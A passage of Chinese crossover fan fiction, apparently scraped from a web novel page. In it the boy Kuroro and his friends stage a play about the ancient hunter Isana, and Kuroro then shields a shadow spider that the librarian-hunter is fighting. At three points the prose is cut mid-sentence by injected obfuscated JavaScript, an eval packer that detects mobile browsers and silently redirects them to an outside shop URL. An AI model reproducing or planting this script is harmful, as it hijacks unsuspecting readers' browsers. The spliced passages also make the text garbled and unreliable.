“就算我说是有事错开了,你也不会信吧。”管理员坐在斜斜的房顶上,“好吧,其实是我的麻烦雷达会让我避开一切棘手的事。” “我是个麻烦吗?” 哇。 这话听着让人好有罪恶感。 黑发青年停顿一下,偏过头去:“跟你没关系,只不过我不擅长在一个地方停留太久,如果因为之前的事让你产生了什么不必要的期待,我也不知道该怎么处理。” 少年垂下视线:“这个我从一开始就……” “不,你不知道。”青年的语气依旧温和,却多了几分认真,“这次中毒能治好只是侥幸,万一发生比那更凶险的事,我就帮不了你,和我产生关联就还会遭遇这种事。” “哦……” “真的会很凶险。” “我知道了。” “非常危险。” “没必要说三次吧。”库洛洛无奈地笑。 “而且我是不会允许的。” “……什么?” “我不会允许像你这样的孩子,因为与我的关联而夭折。” 这句话听上去,简直就像是曾经发生过这样的事似的。 库洛洛沉默了一会儿。 就在管理员以为他不会再开口的时候,少年的声音随着风飘了过去。 “我们打算演出《猎人伊萨纳》的第一章。”他说,“就是初出茅庐,还不是正式猎人的主人公伊萨纳,在沙船上驱赶豪山龙的那段。” “嗯,那挺好的,有什么不明白的地方吗?” “有很多,但是多少都有些猜测,搞不懂的只有一件,请你至少告诉我这件事。” “什么?” “管理员先生,你是为了什么成为猎人的?” “你想用我的回答,作为那本书的主人公的心境参考?”他叹了口气,“那种光辉的英雄会是怎么想的,我才不知道呢。” “不是这样。”库洛洛说,“我不认识什么传说中的英雄,我认识的猎人只有你,我只想知道你的回答。” 嗯……? 不是在谈演出的事吗? 管理员愣了一下,转过头时,看见少年站在窗口,一脸认真地看着自己。 那双漆黑的眼睛里透不进任何光彩。 就像是从神明那里盗走了一切光源那样,只剩深不见底的黑色。 明明差点死过一次,不但没因此退缩,反而更起劲了。到底怎么成长成这样的?其他的孩子也没有这么极端,难道是个例吗? 实在是难以想象他长大后的样子。 管理员想了一阵,还是回答了刚才的问题: “为什么会成为猎人……因为我喜欢观察这个世界,并且认为一切事物都有诞生的理由。所以每当我看到一种从未见过的生命,就会好奇它们是怎么生长成现在这样。 可能是出于这种缘由,我才想当猎人的。” “那做生物调查猎人就好,为什么选择了怪物猎人?” “因为当时只有这个选择。” “嗯?” 库洛洛正疑惑间,外表年轻的怪物猎人就从窗户轻巧地翻了回去,他整理了一下衣服,对库洛洛展开一个和之前无异的温和微笑。 “好了,现在问题也回答完了,走吧。” 少年愣了一下:“去哪?” “当然是借阅室。” “你要工作吗?” 库洛洛一副不太理解的表情。 “其实在你们进行完这场演出后,我就要准备离开流星街了,”管理员说着,先一步朝着楼梯下走去,没走几步又转回身,朝少年伸出手,“所以为了不留下遗憾,我会做你们剧本的顾问,来,走吧。” —— ———— 时间回到稍早一些的时候。 虽然谁也没跟库洛洛提过,但实际上在他昏迷期间,他的团员们来找过好几次。 “让我们看他一眼,至少确认一下库洛洛人还在吧!” 前几次有医护人员和更明事理的派克诺妲拦着,后来医护人员被调去其他地方,派克也担心得失去了阻拦的从容,几人的动静就吵到了里面正在看护的管理员。 于是十几秒后,领头的窝金就被拎到了教堂区的正大门外,包括他自己在内,没人知道发生了什么事。 “寻宝游戏时间!我把你们的同伴藏起来了,去找吧。” 青年笑着对其他孩子说完,就回到医疗室,轻轻关上了门。 在这之后,阻拦这些孩子的职责就被默认落到他的头上,甚至流星街的医疗组还朝他申来了橄榄枝,毕竟“能医”、“能打”、“脑子正常”这三样不可兼得,流星街人一般只能找到符合其中两个的。 一开始,孩子们还带着闯关的态度每几个小时就来一次,但当老神甫告诉他们管理员为了准备解药,自己试毒的事之后,情况就变了。 连一开始最排斥他的玛奇也改变了态度,眼中不再有敌意,对他的态度变得礼貌。 这下管理员反而不太适应了。 某天,他对老神甫提起这件事。 “我以前也帮过他们别的忙,但那时候他们反应可不一样啊。” “哈哈,可能他们觉得你是流星街人了。” “对流星街人友善,就是流星街人吗?” “没这么简单,”神甫推了下老花镜,“你为了救一个和自己非亲非故的孩子,把他和自己的生命放在同样的天平上衡量,这种平等的态度才是打动他们的东西。” “平等……吗。” 黑发青年有些苦恼地喃喃着。 “感觉误会越来越深了,不过,算了。” 现在这样也挺好。 那些孩子没有对自己抱有期待,仅仅是初步的认同而已。 回到现在,当他把库洛洛带到借阅室的时候,其他人都已经到齐了,管理员拿出一包工作换来的糖果,分发给孩子们吃,然后坐到旁边的位置上。 “我能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219048|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做点什么?”他问。 偶尔近距离观察这些流星街的小孩也是一件乐事。 “什么都行吗?”有人问。 “当然,不要小看猎人。” 于是要进行演出的孩子们商量了一下,最后问他:“那你会写剧本吗?” 管理员笑容一僵。 然后他面色平静地站了起来:“剧本可是演出的灵魂,让外人来决定不好。” “不是直接让你决定,”知道这个人到底有多能逃,芬克斯和信长赶紧挡在门口,“哎你站起来做什么,我们才说到一半!” “因为别人的意见只能听一半……” “这句话不是这么用的!” 于是理亏的管理员只能坐回位置,生无可恋地趴在桌上,嘟囔说早知道不给你们带糖了。 那模样太过消沉,以至于派克诺妲想起自己喂养的流浪动物,忍不住过去拍了拍他的脑袋。 “哈哈,好像派克养的沙地龙椋鸟啊。”侠客笑道。 “你居然把名字记得这么清楚。” 青年突然转过头。 “对了库洛洛,既然你这次要演绎旁白,那就缺一个演主角的人,我看这孩子就不错,脑子转得快,一定能把那些台词背下来。” “什么,等一下!” 因为主角的台词最多最复杂,侠客还想反对,但立刻就被此起彼伏的赞同声淹没了。 “是不错。”“加油背台词吧,这是对你的考验。”“哈哈哈真惨……咳我是说加油。” 事情起了个头,后面就变快了,迅速与孩子们打成一片的管理员和他们一块商量着剧本改编的事宜。 “一开始豪山龙袭击沙船的时候要发出吼声。”他看向窝金,“能做到吗?” 个子比他还高半个头的窝金自信竖起大拇指,然后深吸一口气:“吼——!!!!” 天花板都震颤起来,隐约还能听到灰尘碎石被震落的动静。 “哇哦,”管理员一头原本就有些乱糟糟的黑发变得更乱了,感叹道,“真厉害,我甚至感到了攻击性。” 窝金挺胸抬头。 “你想把观众都吓跑吗?” 窝金双手枕在脑后,吹起走神的口哨。 最后,在其他孩子捂着耳朵的谴责眼神中,这个大个子只好不情不愿地修改了自己的演绎方式。 紧接着,管理员又按照库洛洛原本的剧本安排,修改了部分道具的预计摆放位置,连角色的台词也添加了更多的巴尔巴雷当地特色。 “你是怎么知道的?”希拉问他,“简直就像你真的去过一样。” “那是千年前的古代城市,现在已经去不了了,不过一些科科特语的古籍也有记载关于那个都市的事……” 就在管理员应付孩子们的空挡,正在整理台本的库洛洛忽然注意到,旁边的飞坦和芬克斯凑在一块,不知何时开始比起了谁更能精准地把糖果的包装纸扔到门口的纸箱里。 他们将包装团起来,扔过去的时候发出轻轻的“砰”的一声,然后落进箱子上的杂物堆。 “还是我力气更大,”飞坦微抬下巴,“你看,纸团都卡在上面了。” “瞎说。”芬克斯抡起胳膊,“看我把它打下来。” 然后又是一声轻轻的碰撞声。 “……” 那只是吃完的糖果纸而已。 然而不知为何,看着那被团起来的包装纸在空中划过的弧线,却让库洛洛联想起了别的东西。 “说起来,那辆货车……” 没有尸体,只剩一件外套的空车。 不也正像是,被什么东西吃完后,扔进垃圾堆的糖果包装一样吗。 “没关系。” 正这样想着,身边传来了管理员的声音。 “专心在你们的演出上,别的事就交给专业人士来。 我会把怪物都处理好的。” 5. 第五章 演出的内容很快就被确定好了,剩下的就是排练和布置舞台。 所有人都没什么经验,想法五花八门,还是在老神甫的帮助下,才知道能利用舞台和设备做些什么。 “虽然这次没有录像带了,不过你们可以把画投影在屏幕上替代。” 希拉自告奋勇接过这个工作,她因为想向D·猎人学习,已经画了不少流星街附近的动植物。 用她的话说,就是“总不能哪天遇到奇珍异兽我却描绘不出来”,现在这个技能帮了大忙。 而和这边的顺利截然相反,舞台边上,飞坦和侠客都停下了工作,盯着台上的信长和管理员,进行小声商谈。 “打赌吗?”侠客问。 “赌什么?” “我之前翻出来两瓶汽水。” “成色是?”飞坦斜睨着他。 “只过期了一个月。”侠客收敛地笑。 “哼,可以。” 侠客脸上的笑容舒展开来:“那我赌信长能打到他,赢了的话,你替我背主角的台词。” “胡扯,根本不可能,”飞坦不屑,“衣角都碰不到,你被仇恨冲昏头了。” “谁知道呢……” 台上,信长手握一根木棍,摆出了进攻架势。 “之前你拦下窝金的时候,我就很想这么做了。”虽然语气轻松,但他的眼神始终死死盯着对面的管理员,浑身散发着跃跃欲试的气场,“你的身手到底强不强,也让我见识一下吧。” “喂,信长。”富兰克林在他身后不远处,严肃地抱起手臂,“你要是在这种关头破坏舞台,我们就麻烦了!” “没事,他有分寸。”玛奇抱着手臂,但态度更像是看热闹不嫌事大。 而台上的管理员也对他们摆了下手表示没事,然后面向信长站定。 “我知道了,那你动手吧。” 话音落下的瞬间。 “嘎吱”一声。 木质的舞台地板微微塌陷下去的声音,在信长行至第三步的时候,以木棍作长刀,高高举起。 皮肤绽开。 鲜血溅出。 就像是被怪物撕咬,被山峦碾碎,被残酷自然中的冰川和烈火反复淬炼。 那样的气息。 那样的事…… 并没有发生。 管理员只是站在他面前,目光平静地看着他。 在全场人的屏息凝神中,信长流下一滴冷汗,缓缓收回木棍。 “现在还不行。”他用比刚才严肃数倍的语气说着,然后叹了口气,“该死,差距太大了,连预选赛都进不了,更别提正式对决。” “哈?”侠客一拍桌子,在旁边飞坦的嘲笑声中指责,“你怎么搞的!” 他本来还想只要信长擦到管理员的衣角就说自己赢了的。 到底发生了什么? 库洛洛看向玛奇,而后者低下头,和信长一样攥紧拳头。 “他的‘气’,本来是凝聚在身上的,”女孩瞪大眼睛,“但刚才有一瞬间,世界就像,变成了黑紫色?” 她看上去又疑惑又兴奋,变得不知道怎么办才好。 “总觉得有点像是在欺负小孩……唉,就这样吧,”台上,管理员耸了下肩,“抱歉,因为你刚才带着杀意,我只是想让你意识到,我也不想受伤,也不想死而已。” “……不想死?” “是的,无论是人还是生物,都不想受伤吧,你的攻击欲这么明显,真的打过来我可能会反应过度,所以还是希望你以后别这么做。” 信长若有所思。 “嘁,没劲没劲!”窝金碰了碰拳头,“那就不对决了,我们扳手腕吧!就堂堂正正比力气!” “那根本不用比,”管理员抬起手臂,露出手腕,“你看,跟你的手臂一比,简直像树枝一样脆弱。” “哈?开什么玩笑,你当时明明把我拎走……!” 他话没说完就被富兰克林拦下了,这个一贯沉默的和事佬黑着脸下了最后通牒,指出再不开始准备就真的没时间了。 过了一会儿,管理员也完成了自己负责的布置范围,走下舞台。 “你的手臂,”库洛洛叫住他,“伤口已经好了吗?” 上面已经没有绷带了,看样子也没有疤痕。 “当然,”管理员握拳微笑,“不要小看猎人的恢复能力。” “猎人一般也没有这样的吧……” “怪物猎人是这样的。” 库洛洛失笑:“这个说法,简直就像是在说自己是别的物种一样。” 这话当然是在开玩笑。 没有试探,没有恶意,没有其他的深意,单纯只是一句调侃而已。 然而,管理员轻松的表情却突然变了。 像是受到致命伤的动物那样,金红色的眼睛瞳孔紧缩,神情茫然地凝滞,就那样注视着库洛洛的脸。 那个表情,居然有点可怜。 或者说得更准确点,是可以诱发怜悯之情,和看到被禁锢在铁笼中的狮虎一样的感觉,在同情的同时也令人恐惧,哪怕钥匙就在手边,也没人会冒着风险上前把笼子打开。 紧接着。 这个危险的生物,做了个深呼吸。 “……” 就像怪物自己退回了牢笼深处。 管理员轻轻闭上眼,再次睁开时,周围已经回到了平时的气氛。 然后他像什么也没发生那样,坐在库洛洛旁边的位置上。 “刚刚是怎么了,”在愣了一会儿后,库洛洛问,“身体不舒服吗?是之前中的毒还没有完全解开?” 青年没有回答,只是安静坐着,眼神复杂地看向台上忙碌的孩子们。 “真好。” 过了半晌,他才终于再次开口。 “我喜欢这个地方。” “你是说流星街?”库洛洛问。 “嗯,我不擅长拥有什么东西,所以这个什么也没有的地方非常合适。” “那一直呆在这不就好了。” “不行,做不到。” “神甫爷爷说你要等人。” “哦,那个准确来说不是人……但我已经知道等不到它了,所以随时都可能走。” 本以为没人在听他们的对话,但当这句话音落下时,其他孩子们都停下了各自的动作。 然后是视线。 失望、好奇或平淡的,全都向他投了过去。 黑发青年愣了一下,然后笑道:“这么严肃干什么,我们本来也认识了没多久吧。” 这倒是。 但只是短短的几个月时日,却让这些孩子都已经习惯了他的存在。 不管是在医疗组,还是借阅室,这个披着黑色斗篷的身影都已经成为生活的一部分。 “的确,”玛奇冷静的声音响起,“尽管你和我们一样是没有身份之人,但你毕竟是个猎人,在外面也会得到认同。” 所以会离开也是理所当然。 “其实也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后,作为新手猎人,也就是主人公“伊萨纳”的侠客,和负责扮演宝物猎人的信长,会在一旁开始介绍身份,说起自己此行的目的是去巴尔巴雷的猎人协会拿猎人执照。 当他们聊到一半的时候,窝金要披着豪山龙的外壳(用纸箱做的)突然上台,然后用(收敛过的)吼叫表现出豪山龙的魄力。 另外,背后的故事插图,就由这次不参演的飞坦和玛奇负责更换投影。 “我手都要画断啦,今天就歇着做观众了。”希拉说。 “说得好像你一个人完成得一样,明明我也出了不少力。”芬克斯嘟囔。 “那是你把水打翻在画上了,本来就得重新来。” 芬克斯不好意思地摸摸后脑勺,不说话了。 每个人各司其职,最后,库洛洛会负责演绎故事最重要的旁白部分。 “你们马上就要上台了?”老神甫走到后台,和蔼地笑着,“这次不是给录像带配音,而是自己用台词演绎出一个故事,一定准备了很久吧,加油,我很期待。” 给孩子们加油打气之后,他又单独找到库洛洛。 “有件事得现在就告诉你,怕一会儿我又忘了。”老人说道,“当时管理员在试毒的时候,说的那个词汇,我刚才想起来了。” “是什么?” “‘奈鲁斯库拉’,应该是古代语吧。” 6. 第六章 神甫所说的古代语,也就是科科特语的词汇。 “奈鲁斯库拉”。 好像在哪里看到过这个词,不过现在演出即将开始,也没法去查,如果能知道这是什么类型的词就好判断了。 库洛洛站在舞台边上,一边思考一边念着旁白: “在茫茫沙海中行驶着一艘沙船,它的目的地正是那颗沙漠中的明珠——商业之都巴尔巴雷。” 他一边熟练地讲述,一边将视线不着痕迹地朝台下看去。 孩子们期待的目光和之前他们给《清扫战队》配音的时候如出一辙。 尽管图画没有录像带那么直观,但《猎人伊萨纳》的内容对大多数人来说都是耳熟能详的故事,流星街的孩子们在玩游戏时会用强大的怪物给自己的小队命名,而且规定谁也不能选黑龙。 据说在外界还有国家把这本书改编成了电影,甚至是三部曲,不过录像带没有扔到流星街过,这些都是他从旧报纸上得到的情报。 说起来,今天管理员先生不在。 他没来看我们的演出吗…… 虽然一开始也没有那样的约定,但真的意识到这件事还是让少年心里有点失落。 开场的旁白很快就结束了,背景图片切换,侠客开始介绍起主人公。 “我是个新手猎人,此行是为了去巴尔巴雷的猎人协会报道,老爷子,请多指教啊。” “叫谁老爷子呢!我是个宝物猎人!”信长负责配音的角色抱怨着,“你看,协会的证件就在这里。” 库洛洛想起来,为了节省时间,他们是照着《猎人伊萨纳》的现代语版本参考的翻译。 但实际上,“协会”这个词是个翻译错误。 科科特语所处的千年前的时代根本没有什么猎人协会,自然也就没有对应的词汇,如果用更贴合时代的翻译法,那个词应该是…… ——集会所。 【“嗯,但集会所发的证件早就不知道放到哪里去了,哈哈。”】 “吼——!” 伴随一声已经努力克制,却依旧响亮的大吼,顶着红褐色外壳(纸箱涂色)的豪山龙(窝金)出场,打断了库洛洛的走神。 于是他继续演绎起旁白,听信长大喊着:“我宝贝的帽子!被风吹走了!”然后侠客正气凛然地:“别担心,老爷子,我去豪山龙身上把它拿回来!” “都说了别叫我老爷子!” 这句貌似是信长自己的加戏,但从观众席上孩子们的笑声来看效果不错。 说起来,他们之前还商讨过,是直接用简单易懂的“豪山龙”,还是直接用它在科科特语里的学名“达伦·莫岚”。 飞坦和芬克斯都觉得后者读起来更能体现出这种超规格巨大怪物的魄力与神秘感,但最后以富兰克林为首的务实派人数更多,认为要以让孩子们听懂为主,所以就选择了“豪山龙”。 这么说来,神甫爷爷想起来的“奈鲁斯库拉”这个词,在科科特语里也是个学名。 意思也是一种怪物…… ——影蜘蛛。 “您说得对,人和怪物是永远无法互相理解的,但很抱歉,我不能直接狩猎它!”侠客说,“豪山龙的巨角能够击碎岩盘,如果没有它们,这片沙海就无法保持流动,沙船无法来往,沙地生物无法生存,最后化为一片死地。” “那我们就赶它从城市外面走吧,就用这块青铜板!” 舞台背后的幕布被瞬间撤下,巨大到令人失语的青铜板靠着墙,出现在众人面前。 “哇……!” 在座的孩子们全都睁大了眼睛。 库洛洛也再次看向它,看向上面用科科特语写着的【猎人伊萨纳长眠于此】的字样。 拿着话筒的手开始颤抖。 他想起被袭击的外地货车,想起外套上的毒素,想起某个吃了它里面的人,然后将货车像包装纸一样扔到垃圾山的存在。 迄今为止所有的线索汇聚到一处。 【“最近流星街的治安好了不少。”】神甫爷爷曾经这么说过。 最近是多久呢?几个月?几年? 说来也是,自己曾经看过人口记录,发现自从某个节点开始,孩童就停止失踪了。 也是从同一个时机开始,“八眼八足”怪物的传闻开始在流星街居民间流传开来。 “八眼八足”。 那是一只影蜘蛛。 但是。 【“我是个怪物猎人”】 【“专心在你们的演出上。 我会把怪物都处理好的。”】 处理,是要杀了它的意思吗? 这种事…… 这种事当然是正确的,没什么问题。 影蜘蛛是怪物,是人类的敌人。 只是偶然间住在流星街附近的一个敌人而已。 它没有感情,现在只是暂时把外来入侵者作为食物,谁也不能保证它以后不会来流星街吃人,从这个角度来说,怪物猎人将其狩猎再正确不过。 不过,为什么? 明明自己就差点被它的毒杀死。 但现在在自己的胸口,这种像污泥一般不断淤积的空虚情感,究竟是…… “库洛洛?” 演出中断了。 所有人都看向停止了进行旁白演绎,变得沉默不语的库洛洛,而后者的表情,简直就是看到了什么极为恐怖的东西一样面色煞白。 “抱歉。”寂静一片的大厅内,库洛洛一只手攥着胸口的衬衫,尽可能冷静地开口,“抱歉大家。” 不行。 这是大家共同努力的结果,作为团长的自己居然就要因为一个猜测,把这些努力的演出都毁掉吗? “有一件很重要的事,是我们的一个……朋友,”库洛洛听见自己的声音继续道,“它需要帮助,所以我必须中途离开。” “什么?” 众人都困惑地面面相觑,明明这儿谁也没缺。 他是在说谁? “虽然不知道你在说啥,但是你的朋友的话,那可不能做事不管了,”窝金突然站起来,“去吧!团长!” 底下有孩子窃窃私语:“豪山龙说话了?”“笨蛋,那是窝金。” 信长:“窝金说得没错,你想去的话去就是了。” 飞坦:“要出发就快点,别浪费时间,团长。” 派克诺妲:“需要我们帮忙吗?” 他的同伴们全都无条件地相信他,支持他的行动。 库洛洛攥紧拳头,摇摇头:“我一个人去就行。” “好!那剩下的就交给我们吧!”窝金对台下振臂一呼,“小的们,有谁想跟猎人伊萨纳一起敲青铜板的?” 他十分擅长带动气氛,临场发挥,台下的孩子们顿时热烈回应。 黑发黑眼的少年无比感激地看了他们一眼,然后独自从门口跑了出去。 —— 天色已暗。 在流星街杂乱而昏黄的光线中,风从耳畔呼啸而过,而身后传来孩子们敲击青铜的回音,那悠长的音色震荡洗涤着灵魂,久久不散。 库洛洛跑过垃圾山,身手敏捷地翻过一道道障碍,从最快的路线进入更加黑暗的森林深处。 他很快就到了原先青铜板所在的位置,但这里空无一人。 就在他思索接下来该往哪个方向跑的时候,忽然听到了一声刺耳的嘶鸣。 “——!” 那几乎不是人类的耳朵能承受的声音,像是神话里怪物的尖叫,哪怕隔得很远,库洛洛还是头疼地捂着耳朵,蹲下来缓了一缓。 但很快他锁定了声音发出来的方向,然后迅速而灵敏地转身,不往原先熟悉的路径,而是朝着小路冲进去。 脚下巨大的树根传来微妙的动静,这座死气沉沉的森林里,有一个地方正在像心脏搏动般发出震颤。 来得及吗? 这样想着,循声找去的少年翻过一摞枯萎的灌木,然后看见了和仿佛无穷无尽的树林截然不同的景色。 首先是一颗倒塌的参天巨树。 由于树木倒下,月光洒落进来,照耀着巨树前的空旷地面。 而在地面上,一只让少年失去了所有语言的巨大怪物,此刻就站在那里。 它披着一层灰紫色的皮,在那之下好像有甲壳,应该是白色的。 像锯齿一样的巨大铗角、多而杂的节肢动物的腿、八只眼睛。 确实是蜘蛛。 但其存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219050|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本身,就像是恶魔存在的证明一样,足以令人摒弃过往对蜘蛛这一物种的所有概念,甚至怀疑起自己是否身处现实。 就和书里看到的描述一样,它实在是,实在是—— 太过巨大。 和流星街的垃圾山一样高,身体长度更是超过了十米,遮挡了少年望向天空的视线,利爪和身上的尖刺比库洛洛见过的最厉的刀还要锋利,确实足以撼动一般大小的货车,甚至把它当球扔。 然而现在,那只影蜘蛛却吃痛地不断用腿脚刨着地面,因抽搐掀起的土石像是一场小型沙尘。 最初的震撼被理智抚平后,库洛洛这才注意到,影蜘蛛的一条腿不见了。 不,也不是消失不见,只是不在该有的位置而已,那条足有数米长的巨大蛛腿此刻静静蜷曲在不远处的地上,能看到绿色的血液从断口处流淌出来。 而在影蜘蛛和断腿的对面。 在那棵横倒的参天巨树上,立着一个人。 他一身不知道是长袍还是铠甲的白色武装,戴着面具,浑身散发着神圣不可侵犯的气质,手里还拿着一把简单的长刀,上面还沾着绿色的血。 毫无疑问这里经过一场苦战。 但不是对这个人类,而是对影蜘蛛而言。 周围全是猎物巨大的肢体划出来的痕迹,树干上一道道深不可测的裂痕,想必它也曾经奋力挣扎过,却还是被砍了一条腿。 然后,回到现在。 猎人再次行动。 他朝着影蜘蛛走去,举起手里的刀。 “……!” 回过神来的时候,库洛洛已经跑了起来,拦在两者之间。 在踏入猎人的攻击范围时,强大的气场瞬间让他头皮发麻,几乎要吐出来。 腿僵硬得一松懈就会跌坐下去,每一个细胞都因为恐惧在震颤,但少年还是不依不饶地,挺直腰杆站在原地,向上瞪视。 “你想保护它?”猎杀者的声音冰冷。 “……”库洛洛没有说话。 “别天真了,怪物就是怪物,它是不会因此感激你的。” “我不需要它的感激,就算它想杀了我,我也不在乎。” “你是白痴吗。” “自从它来了流星街后,不知道为我们挡下了多少来自外面的入侵者,那些家伙会偷偷把流星街的人当成猎物抓走。” 上次,萨拉萨差点就…… “是吗。”那人依旧语调平淡地开口,“那这样下去,有影蜘蛛的消息扩散开来,逐渐就没有人敢来流星街了,等它失去食物饿肚子,就会转头把流星街人作为食物狩猎。” “这种事流星街人会自己会解决,我们会想办法驱逐它。” “怪物会袭击人类,这是天性,别天真了。” “到底谁才是真正的怪物?如果都是被狩猎的一方,那么流星街人在你眼里也不是人类吧!” “……” “管理员先生,不,猎人伊萨纳。” 库洛洛抬起头,神色难过地看着眼前虽然穿着陌生的武装,却莫名熟悉的身影。 “你之前问我流星街在哪,我没能回答出来。” “现在我可以告诉你了——它哪里也不在。” “就算知道流星街在世界地图上处于什么位置,周围又有什么地区,什么国家,也没有意义,这些事一点也不重要。” “因为那是建立在平等的基础上,建立在双方都是人类的基础上才能去说的事。” “而对于流星街人来说,除了这片土地之外,有的就只是敌人而已。” 面前,身后,全是敌人。 不难理解。 ——所谓“被世界所抛弃”到底是什么意思。 “我过去看书的时候,总是不理解一件事,为什么里面的主人公会那么向往自由。” “无拘无束,没有法律管辖,也没有管理用的证件,不被任何人记忆也不用承担任何人的期待,按照他们的标准,我觉得流星街就是这个世界上最自由的地方。” “结果你看!” 少年像是要拥抱什么东西似的,大大地张开双臂,然后像是要哭一样,笑了出来。 “真正的自由,明明谁也不想要嘛。” 7. 第七章 漆黑的森林中,失去一条腿的影蜘蛛依旧在戒备。 八只巨大而无感情的眼睛无规律地转动着,它一边调整肢体的姿态,给腿部的断口止血,一边毫无空隙地盯着那道白色身影的一举一动。 紧接着,那名猎人总算有了行动。 只不过这次不是进攻,他只是抬起手摘下那不知道是面具还是防具一部分的东西,其样貌清晰地映照在库洛洛的眼里。 黑色微长的乱发,金红色的眼睛。 夜晚的凉风吹动他的衣摆,肃杀的气场散去,站在那里的只是一如既往露出倦怠眼神的借阅室管理员。 传说中千年前的怪物猎人。 如果不是眼下这样的情况,可能他说起来也不会有人信。 “你是怎么发现的?”伊萨纳语气平常地问。 然而库洛洛只是沉默,没有回答。 “哎,算了。” 伊萨纳笑了一下,随手扔掉手里的刀,发出锵的一道金属落地声。 “我本来也没有隐藏的意图,你这么聪明迟早能察觉到。不过有件事我得解释一下,森林里那座‘坟墓’的坑太深,很危险,所以那天我提前过来把它填上了。” 正如他所说,这个借阅室管理员其实从一开始就没有隐瞒身份。 无论是自己有集会所的执照,还是关于古代的知识,全都毫不保留地说出来了。 只是因为态度过于简单率直,反而让人没能反应过来。 而另一边,似乎是感知到杀意消失,影蜘蛛爪下瞬间发力,将自身弹上了高耸的树枝,迅速消失在林间。 它掀起的气浪差点把库洛洛吹飞出去,但在那之前,一条手臂拦住了他,替他挡下风浪和碎石。 “在怪物身边必须时刻小心,它们只是正常行动就可能对人类造成无法估量的破坏。” 伊萨纳放开他,上下打量。 “好了,有哪里受伤吗?” 库洛洛还是神色紧绷:“你不去追它?” “说什么呢,我是个怪物猎人,任务受理的范围是处理和怪物有关的一切事物,又不是遇到就杀。” 少年愣了一下:“你从一开始就打算这么做?” “嗯,我要让它意识到流星街这个方向不能随便入侵,也不能把垃圾扔过去。” 伊萨纳回头看向流星街的方向。 “这次只是凑巧没伤到人,下次就不一定了。用语言没法交流,就只能用这种方式。” 然后他回过头,对库洛洛笑了笑:“别担心,影蜘蛛的自我修复能力很强,就算少了一条腿也能长回来,而且这附近的龙结晶含量还挺多,这对怪物来说是养分,不吃不喝也能过很久。” 至少能撑到下一代的影蜘蛛诞生。 “……” 库洛洛不知道自己现在是什么心情。 其实就算没有影蜘蛛在,流星街也不会覆灭消失。 不会死的。 只是会心急如焚,活在随时可能被当成猎物杀死的恐慌中,然后不断继续,不论到了什么时代,都将继续下去。 安全感这种东西,对流星街人来说从一开始就没有过,或许以后也不会有,但影蜘蛛至少能保证孩子们的安全,不会让教堂区那些小小坟墓的数量继续增多。 所以,哪怕不是永远,库洛洛也希望它能生活在这里。 在找到其他办法之前,支撑起这里脆弱生态链条的平衡。 哪怕自己要为此献出生命。 “影蜘蛛身体里的毒,是会随时间过去慢慢消耗光的,这一点你知道吗?” 伊萨纳突然开口。 “但没有毒的影蜘蛛又很难生存,它的身体注定了不适合长久战斗,如果不能一击必杀,消耗的体力就会远远超过食物补充的速度,所以需要毒素弥补这一缺陷。” “是这样吗?” “嗯,一般来说毒素可以从食物里补充,所以毒怪鸟是它们食谱里重要的一部分,但是这附近的环境,怎么看都和怪鸟的生存需要完全不符。” 那么这只影蜘蛛的毒素是怎么补充的? 库洛洛这样想着的下一个瞬间,就想到了答案—— “流星街。” 焚烧和填埋垃圾带来的毒。 长年累月,直到和森林融为一体。 和生命融为一体。 “是的,没有流星街它也活不下去,也可以说这只流浪到这里的落单影蜘蛛,从一开始就是流星街的孩子。所以你才会对它的毒有一定耐受性,撑到药物生效的时候。” 伊萨纳说到这,拍了拍库洛洛的肩膀。 “还有,你说真正的自由没有人想要,我也是这么想的。” “所以他们不要的东西,我们尽数收下就行。” “谁也别想从这里夺走,对吧?” 黑发青年语调轻松地对他说着的同时,身上白色的武装迅速消散,又回到平时的旅行装束和黑色的斗篷。 在他金红色的眼睛里,库洛洛看到了平静。 “……嗯。” 他会难过,但几乎不流眼泪。 就算遇到再重大打击,库洛洛也永远是最会把情绪吞回肚子里的那个。 但这次,对这次的事件心怀一种莫名的情绪,他站在原地,面色像是发呆地落下了眼泪。 “哎呀……” 伊萨纳似乎对这个场面很没办法,他手忙脚乱地想说点安慰的话,但最后什么也没说,只是转身走向一旁。 “啊!”从一侧的森林里传来叫喊,“你把团长弄哭了!?” “把别人弄哭就想跑吗?” 是结束演出的孩子们找过来了。 伊萨纳慌忙举手投降:“啊、呃,只是这根影蜘蛛的腿如果丢在这里就太浪费了,我想我们可以烤来吃……之类的。” “哇这是什么?”才注意到地上黑漆漆的那根好几米长的东西不是树枝,芬克斯浑身发毛,差点跳起来,“腿?蜘蛛腿?这东西能吃?” 库洛洛三两下抹掉眼泪,笑了出来:“应该可以,书里说铗角种怪物的腿没有毒,据说味道和海鲜很像……虽然我也不知道那是什么味道。” 见他没事,孩子们也放松下来,看向那根蜘蛛腿。 “那就烤了呗,”窝金抱起手臂,“不管是什么味的,看样子肉不少,作为演出成功的胜利庆祝正合适。” 